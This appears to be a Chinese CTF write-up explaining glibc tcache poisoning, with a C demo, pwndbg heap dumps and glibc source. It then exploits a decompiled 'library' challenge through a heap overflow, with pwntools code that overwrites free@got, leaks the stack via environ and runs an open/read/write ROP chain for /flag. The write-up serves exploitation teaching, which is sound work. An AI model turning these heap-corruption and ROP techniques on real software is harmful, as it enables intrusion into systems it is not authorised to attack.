+----+ +------+ +------+| 0 | -> | chunk| --> | chunk| --> NULL+----+ +------+ +------+| 1 | -> NULL+----+| 2 | -> | chunk| --> NULL+----+ +------+| .. |+----+| n | -> | chunk| --> | chunk| --> | chunk| --> NULL+----+ +------+ +------+ +------+
size_t stack_var; // 目标投毒的地址intptr_t *a = malloc(128); // addr: 0x5555555592a0intptr_t *b = malloc(128); // addr: 0x555555559330free(a);free(b);b[0] = (intptr_t)&stack_var; // tcache poisoning !intptr_t *c = malloc(128);assert((long)&stack_var == (long)c); // 此时我们已经获得了针对栈地址 &stack_var 读写控制权然后我们来分过程看每一个环节的堆内存布局变化
intptr_t *a = malloc(128); // addr: 0x5555555592a0intptr_t *b = malloc(128); // addr: 0x555555559330free(a);free(b);
pwndbg> heapinfo(0x20) fastbin[0]: 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x0(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0top: 0x5555555593b0 (size : 0x20c50)last_remainder: 0x0 (size : 0x0)unsortbin: 0x0(0x90) tcache_entry[7](2): 0x555555559330 --> 0x5555555592a0 // 后面解释tcache_entry结构体
size_t stack_var; // addr: 0x7fffffffe508b[0] = (intptr_t)&stack_var;
pwndbg> heapinfo(0x20) fastbin[0]: 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x0(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0top: 0x5555555593b0 (size : 0x20c50)last_remainder: 0x0 (size : 0x0)unsortbin: 0x0(0x90) tcache_entry[7](2): 0x555555559330 --> 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x555555559320(freed) )
pwndbg> heapinfo(0x20) fastbin[0]: 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x0(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0top: 0x5555555593b0 (size : 0x20c50)last_remainder: 0x0 (size : 0x0)unsortbin: 0x0(0x90) tcache_entry[7](1): 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */typedef struct tcache_entry{struct tcache_entry *next;} tcache_entry;/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */typedef struct tcache_perthread_struct{char counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;static __thread tcache_perthread_struct *tcache = NULL;
static void *tcache_get (size_t tc_idx){tcache_entry *e = tcache->entries[tc_idx];assert (tc_idx < TCACHE_MAX_BINS);assert (tcache->entries[tc_idx] > 0);tcache->entries[tc_idx] = e->next;--(tcache->counts[tc_idx]); // 对应的tcache数量减少1return (void *) e;}
static voidtcache_put (mchunkptr chunk, size_t tc_idx){tcache_entry *e = (tcache_entry *) chunk2mem (chunk);assert (tc_idx < TCACHE_MAX_BINS);e->next = tcache->entries[tc_idx]; // 通过头插法插入新的chunktcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);}
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Convert a chunk address to a user mem pointer without correctingthe tag. */#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))
int __cdecl main(int argc, const char **argv, const char **envp){setup(argc, argv, envp);puts("Welcome to the library of hopes and dreams!");puts("\nWe heard about your journey...");puts("and we want you to share about your experiences!");puts("\nWhat would you like your author signature to be?");printf("> ");LODWORD(author_signature) = ' yb';__isoc99_scanf("%12s", (char *)&author_signature + 3);puts("\nGreat! We would like you to write no more than 10 books :)");puts("Please feel at home.");secure_library();write_books();return puts("Goodbye!");}
unsigned __int64 write_books(){int choice; // [rsp+0h] [rbp-10h] BYREFint fav_num; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);while ( 1 ){while ( 1 ){print_menu();__isoc99_scanf("%d", &choice);getchar();if ( choice != 1337 )break;if ( !secret_msg ){printf("What is your favourite number? ");__isoc99_scanf("%d", &fav_num);if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);secret_msg = 1;}LABEL_19:puts("Invalid choice.");}if ( choice > 1337 )goto LABEL_19;if ( choice == 4 )return v3 - __readfsqword(0x28u);if ( choice > 4 )goto LABEL_19;switch ( choice ){case 3:throw_book();break;case 1:write_book();break;case 2:rewrite_book();break;default:goto LABEL_19;}}}
unsigned __int64 write_book(){int idx2; // ebx_QWORD *v1; // rcx__int64 v2; // rdxint idx; // [rsp+4h] [rbp-4Ch] BYREFsize_t size; // [rsp+8h] [rbp-48h]char buf[32]; // [rsp+10h] [rbp-40h] BYREFchar v7; // [rsp+30h] [rbp-20h]unsigned __int64 v8; // [rsp+38h] [rbp-18h]v8 = __readfsqword(0x28u);puts("\nAt which index of the shelf would you like to insert your book?");printf("Index: ");__isoc99_scanf("%d", &idx);getchar();if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] ){puts("Invaid slot!");}else{--idx; // 书架的编号memset(buf, 0, sizeof(buf));v7 = 0;puts("Write me a book no more than 32 characters long!");size = read(0, buf, 0x20uLL) + 0x10; // 读入0x20个字节的内容,还要加上尾部填充的0x10字节idx2 = idx;slot[2 * idx2] = malloc(size);memcpy(slot[2 * idx], buf, size - 0x10);v1 = (char *)slot[2 * idx] + size - 0x10; // 指向用户数据的尾部v2 = qword_4040D8;*v1 = *(_QWORD *)author_signature; // 写入作者签名和一个magic numberv1[1] = v2;books[idx].size = size; // 这里存在问题,后续通过 books[idx].size 获取大小的时候要减掉0x10puts("Your book has been published!\n");}return v8 - __readfsqword(0x28u);}
unsigned __int64 rewrite_book(){_QWORD *v0; // rcx__int64 v1; // rdxint idx; // [rsp+Ch] [rbp-14h] BYREFssize_t v4; // [rsp+10h] [rbp-10h]unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);puts("\nAt which index of the shelf would you like to rewrite your book?");printf("Index: ");__isoc99_scanf("%d", &idx);getchar();if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] ){--idx;puts("Write me the new contents of your book that is no longer than what it was before.");v4 = read(0, slot[2 * idx], books[idx].size); // 从标准输入读取books[idx].size个字节到slot[2*idx]中v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);v1 = qword_4040D8;*v0 = author_signature;v0[1] = v1;puts("Your book has been rewritten!\n");}else{puts("Invaid slot!");}return v5 - __readfsqword(0x28u);}
unsigned __int64 throw_book(){int v1; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);puts("\nAt which index of the shelf would you like to throw your book?");printf("Index: ");__isoc99_scanf("%d", &v1);getchar();if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] ){free(slot[2 * --v1]);slot[2 * v1] = 0LL;puts("Your book has been thrown!\n");}else{puts("Invaid slot!");}return v2 - __readfsqword(0x28u);
edit(1, pwn.flat([# 1==0xff, # szexe.sym.stdout, # target# 2==0x8, # szexe.got.free, # target# 3==0x8, # szexe.sym.secret_msg, # target# 4==0xff, # szexe.sym.books # target] + [0] * 0x60, filler = b"\x00"))
pwndbg> x/40gx 0x4040e00x4040e0 <books>: 0x00000000000000ff 0x00000000004040a00x4040f0 <books+16>: 0x0000000000000008 0x00000000004040180x404100 <books+32>: 0x0000000000000008 0x00000000004040c00x404110 <books+48>: 0x00000000000000ff 0x00000000004040e00x404120 <books+64>: 0x0000000000000000 0x00000000000000000x404130 <books+80>: 0x0000000000000000 0x00000000000000000x404140 <books+96>: 0x0000000000000000 0x00000000000000000x404150 <books+112>: 0x0000000000000000 0x00000000000000000x404160 <books+128>: 0x0000000000000000 0x00000000000000000x404170 <books+144>: 0x0000000000000000 0x0000000000000000此时我们就可以理解为
# free@got => putsedit(2, b"".join([pwn.p64(exe.sym.puts)]))
# leak stack (environ)edit(4, pwn.flat([# 1==0xff, # szlibc.sym.environ # target], filler = b"\x00"))栈帧地址:也就是调用这个函数返回的ret地址
rop = pwn.ROP(libc, base=stackframe_rewrite)# setup the write to the rewrite stackframeedit(4, pwn.flat([# 1==0xff, # szstackframe_rewrite # target], filler = b"\x00"))# ROPchainrop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # openrop.call(rop.find_gadget(["syscall", "ret"]))rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...rop.call(rop.find_gadget(["syscall", "ret"]))rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # writerop.call(rop.find_gadget(["syscall", "ret"]))rop.exit(0x1337)rop.raw(b"/flag\x00")
# chunk2 => sz extendededit(1, b"K"*0x20)
往期推荐